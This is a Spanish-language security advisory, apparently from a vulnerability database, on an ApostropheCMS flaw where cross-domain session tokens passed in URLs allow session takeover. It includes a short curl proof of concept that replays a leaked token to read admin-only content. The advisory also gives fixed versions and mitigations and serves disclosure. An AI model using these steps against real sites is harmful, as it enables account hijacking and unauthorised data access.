ApostropheCMS: El token de sesión entre dominios en la URL permite la toma de control de la sesión
Resumen
La migración de sesión entre dominios de Apostrophe emite un token de sesión de un solo uso como parámetro de consulta de URL y lo guarda en la caché de Mongo. Cualquier cliente que presente el token adopta de forma silenciosa la sesión completa del usuario objetivo (incluido passport.user) sin necesidad de credenciales.
Detalles
packages/apostrophe/modules/@apostrophecms/i18n/index.js:
- La generación de tokens en flujos entre hosts/locales (L479–487) y la redirección de passport-bridge entre locales (
passport-bridge/index.jsL557–593) coloca el token en la URL. acceptCrossDomainSessionToken(L258–298) lee?aposCrossDomainSessionToken, aplica conObject.assignla sesión almacenada (cookie +passport.user) sobrereq.session, y luego anula la entrada en caché bajo el espacio de nombres@apostrophecms/i18n:cross-domain-sessions.- El middleware sin
before:se registra para cada URL (expressfindModuleMiddlewareAndRoutesL820–879); verificado conAPOS_LOG_ALL_ROUTES=1.
PoC
# 0) Anonymous baseline: admin-only draft → 403
# 1) Admin logs in legitimately (token minted into redirect URL):
curl -c admin.cookies -X POST -H "Content-Type: application/json" \
--data '{"username":"admin","password":"adminpassword","session":true}' \
http://localhost:3100/api/v1/@apostrophecms/login/login
# 2) Attacker with NO credentials visits the leaked token URL:
curl -c atk.cookies "http://localhost:3100/?aposCrossDomainSessionToken=HUNTING_TOKEN"
# → 302 Location: / ; attacker now holds a vulnlab.sid SID cookie
# 3) Attacker reads admin-only content via adopted session:
curl -b atk.cookies ".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:draft"
# → 200 adopted-session read -> Secret Private Page | secretData = TOP-SECRET-VALUE-abc123
# 4) Cache entry consumed (single-use): {"value":null}
Impacto
Secuestro de sesión / apropiación de la cuenta del usuario migrado para cualquiera que obtenga el token, heredando todos los privilegios de dicha cuenta. La exposición es realista precisamente porque el token se encuentra en las URL: registros de acceso de servidores, proxies y navegadores, historial de navegación y en la cabecera Referer cuando el host de destino difiere del origen (el caso de uso previsto). El uso único acota la ventana temporal, pero no la elimina.
Qué hacer
Actualice apostrophe a la versión 4.33.0 o superior y @apostrophecms/passport-bridge a la versión 1.6.1 o superior. Como medida de mitigación, entregue el token mediante una cookie SameSite firmada, HttpOnly y de corta duración en lugar de un parámetro de consulta; vincule su uso al par exacto de host origen/destino, hágalo expirar en segundos y no lo registre en logs.
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de npm | apostrophe | < 4.33.0 | 4.33.0 |
| Paquete de npm | @apostrophecms/passport-bridge | < 1.6.1 | 1.6.1 |
Referencias
- Vector CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N- Debilidad (CWE)
CWE-598- Plataforma
- npm
- Paquete
apostrophe, @apostrophecms/passport-bridge- Publicada
- 20.10.2026
- Actualizado
- 20.10.2026 21:21
Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.
OSV / GitHub Advisory Database - GHSA-hhvr-8m24-qqr3 - CC BY 4.0
Historial de vulnerabilidades: apostrophe
Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 27
- Primera → última
- 09.2020 10.2026
- Sin corrección
- 4
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 2
- Alta 8
- Media 13
- Baja 4
Divulgaciones por año
- 2020: 2
- 2021: 2
- 2022: 0
- 2023: 0
- 2024: 0
- 2025: 0
- 2026: 23
-
ApostropheCMS: El token de sesión entre dominios en la URL permite la toma de control de la sesión esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.